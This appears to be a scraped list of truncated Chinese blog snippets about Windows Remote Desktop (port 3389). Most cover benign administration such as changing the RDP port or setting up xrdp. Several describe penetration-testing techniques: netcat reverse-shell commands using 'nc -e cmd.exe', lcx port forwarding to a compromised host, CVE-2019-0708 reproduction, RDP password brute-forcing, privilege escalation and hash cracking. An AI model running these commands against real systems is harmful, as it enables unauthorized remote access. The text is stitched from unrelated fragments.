Fofa Fofa 是白帽汇推出的一款网络空间搜索引擎，它通过进行网络空间测绘，能够帮助研究人员或者企业迅速进行网络资产匹配。例如进行漏洞影响范围分析、应用分布统计、应用流行度等。在渗透测试过程中，Fofa能帮助测试人员快速发现目标资产。 逻辑运算符 ●&& ：表示逻辑与 ●|| ：表
Windows RDP远程代码执行 CVE-2019-0708 漏洞复现 漏洞简介 Windows操作系统远程桌面服务远程代码执行漏洞（CVE-2019-0708） ， 2019年5月14日微软官方发布安全补丁,修复了windows远程桌面服务的远程代码执行漏洞,该漏洞影响了某些旧版本的Windows系统。此漏洞是预身份验证且无需
7Windows口令扫描及3389口令暴力破解 在Windows操作系统渗透过程中，除了SQL注入、Web服务漏洞攻击等方式外，还有一种攻击方式，即暴力破解，对3389或者内网的服务器进行口令扫描攻击，以获取更多的服务器权限。这种攻击尤其是在拥有一台或者多台服务器权限后，目前口令扫描有Hscan、NTs
端口转发 NC 反向连接 kali开启监听 nc -lnvp 7777 目标返向连接 nc -e cmd.exe 192.168.95.128 7777 可以执行命令 正向连接 目标开启监听 nc -l -p 5555 -e cmd.exe kali连接 nc -nvv 192.168.95.12 5555 执行命令 lcx 外网无法访问内网，但内网可访问外网 clie
今天学习了如何远程操控电脑，也就是在我这台电脑 （称之为 A ）上操控另一台电脑（称之为 B ），目前我是用了WIN 7和WIN XP来进行了实验，我先用我的WIN 10操控了WIN 7 再然后用WIN 7操控了WIN XP。要完成这个操作是有条件的； 条件是：要在同一个局域网内 知道设备B的IP地址 两台
ATT&CK实战系列——红队实战（一） 靶机简介 红日靶场 ATT&CK实战系列——红队实战（一） 红队实战系列，主要以真实企业环境为实例搭建一系列靶场。另外本次实战完全模拟ATT&CK攻击链路进行搭建，开成完整闭环。虚拟机所有统一密码：hongrisec@2019。 靶场地址：http://vulnstack.qiyuanxuetang.n
1.直接查看C盘的flag是权限不够的 2.打开虚拟终端，因没有权限，导致命令执行不了 3.这个时候应该提权，直接上传cmd和pr 4.用我们上传的cmd打开终端， 5.执行命令查看自己的权限，并不是管理员权限，文件也不能访问 6.使用pr，新建用户，并加入
一、常见入侵方式： (1)被他人盗取密码;(2)系统被木马攻击;(3)浏览网页时被恶意的jave script程序攻击;(4) QQ被攻击或泄露信息;(5) 病毒感染;(6)系统存在漏洞使他人攻击自己。(7)黑客的恶意攻击。 二、基本防范措施 1.检查开启的本地共享资源文件 输入命令：net share，查看打开的共享
场景假如你在用 resin 调试一个 Web 程序，需要频繁地重启 resin。这个 Web 程序需要开在 80 端口上，而 Linux 限制 1024 以下的端口必须有 root 权限才能开启。但是你又不愿意在调程序的时候总是开着一个 root 终端。在这种情况下，你可以把 resin 开在默认的 8080 端口上，然后使用 ipt
Window Server2012 修改远程桌面端口号Win + R 输入 regedit 打开注册表编辑器1、修改注册表项1HKEY_LOCAL_MACHINE/System/CurrentControlSet/Control/Terminal Server/WinStations/RDP-Tcp找到下面的 “PortNumber”，用十进制方式显示，默认为3389，改为任意可用端口（修改选项值为 1024
Window Server2012 修改远程桌面端口号Win + R 输入 regedit 打开注册表编辑器1、修改注册表项1HKEY_LOCAL_MACHINE/System/CurrentControlSet/Control/Terminal Server/WinStations/RDP-Tcp找到下面的 “PortNumber”，用十进制方式显示，默认为3389，改为任意可用端口（修改选项值为 1024
3389端口是Windows远程桌面的服务端口，通过这个端口用"远程桌面"等连接工具来连接远程计算机，输入系统管理员的用户名和密码，可实现像操作本机一样操作远程计算机。无需安装。作为Windows系统原生服务，用户无需安装简单配置即可使用，对于不允许安装第三方软件的计算机或服
首先配置环境 VMware虚拟机下载就不多赘述了，网上有很多教程，这里主要说明一下靶机拓扑和如何配置虚拟网络的过程。 首先下载包中的VM1为win7，VM2为win2003，VM3为win2008，拓扑图为下图所示： 由于要营造一个内网环境，因此需要将虚拟机与外网隔绝，再VMware中可以通过虚拟机设置中的网
lcx用法： lcx的Linux版本为portmap、 1.内网端口转发 本机: lcx -listen 2222 3333 2222为转发端口，3333为本机任意未被占用的端口 肉鸡：lcx -slave 119.75.217.56 2222 127.0.0.1 3389 119.75.217.56 为本机IP,2222为转发端口，127.0.0.1为肉鸡内网IP，3389为远程终端端口 3389连接时格
IIS7远程桌面管理工具(3389、vps、服务器批量管理、批量远程工具) 批量管理WIN系列服务器，VPS，电脑 批量远程桌面，vps连接工具。一键远程多台服务器。可以批量添加机器（服务器，vps，3389端口），批量管理！（远程管理工具）
IIS7远程桌面管理工具(3389、vps、服务器批量管理、批量远程工具) 1、批量管理WIN系列服务器，VPS，电脑。 2、批量导入服务器的IP，端口，账号和密码 3、批量打开N个服务器的远程桌面 4、远程桌面后，远程窗口右上角会出现 服务器备注的信息，如
3389：服务器默认端口。 关于远程桌面软件，大家耳熟能详的应该就是iis7远程桌面、向日葵、Teamviewer这三款。 分析他们远程桌面产品，针对人群大多以个人或办公人群为主，主要运用于文件的传输与运用。而IIS7远程桌面，针对性可能更强一点，对于那些服务器特别多的人来讲，有了IIS7远程桌面简
1 查看robots.txt文件，获取敏感信息 2 开启3389 1>传大马，有开启3389功能 2>用户可以动态控制变量 3 Apachez中间件文件包含漏洞 4导出hash 5使用这个软件读取hash https://sourceforge.net/projects/ophcrack/ 6然后再去跑hash值 #还需要一个文件包含漏洞字典 需要知道Apa
又是许久没有写博客了，这次来分享一篇自救的手记，提醒各位做事情之前千万要想清楚！否则后果真不是每个人都能承受得起的！ 事情是这样的，开始的时候本来想在Azure的虚机上测试下防火墙有没有生效，于是顺其然想到的就是建立防火墙规则之后，使用telnet之类的工具在远程测试下
Windows 2008远程桌面端口以改为端口为25608端口为例，讲解一下Windows 2008远程桌面端口修改的具体操作过程。 打开Windows 2008注册表： 运行regedit。 找到：[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] 双击右边 PortNumber——点十
原文链接：https://blog.csdn.net/Fly_hps/article/details/79508235 旁注简介旁注是互联网黑客入侵常见的一种手段，多数用来攻击虚拟主机。其原理是利用统一主机上其他站点的安全漏洞获取服务器上的一个WEBshell，从而获得一定的操作权限，进而利用虚拟目
这年头不用远程桌面真还好多事没法做，比方说要管理异地主机或服务器；再比方说控制家里的机器打打游戏、BT下载，3389绝对是你不二的选择。第一Windows系统自带无需安装，第二桌面反应速度快。微软远程桌面的优点很多，但缺点也不少，最突出的缺点就是低带宽不够顺畅，非服务器版Windows系统
Windows 远程桌面连接 CentOS7 (xrdp) 前提: CentOS安装桌面，如果无桌面，请执行： yum -y groups install "GNOME Desktop"startx 方法： 配置源 yum install epel* -y 安装xrdp yum --enablerepo=epel -y install xrdp 启动xrdp并设置开机启动 systemctl
远程桌面批量管理器，这是我推荐的工具，下面我给大家讲讲如何使用它。下载安装该软件（我还是放在文字的最下面）点击添加主机，并在上面输入“IP”“端口”（端口默认都是3389除非你改了）登录信息备注下，添加列表。成了，以后在列表里，直接选中该主机连接就可以了。下载安装该软件（我还是放在文字的
打开控制台页面 http://du.nsloop.com。注册用户并登录控制台。 一 开通隧道，映射内网端口3389 进入>开通隧道<，输入隧道名称、选择通道类型、内网服务IP和内网服务端口（如NatTunnel客户端与内网服务在同一台设备，则内网服务IP为127.0.0.1）。 比如需要将内网机器A上的windows 3
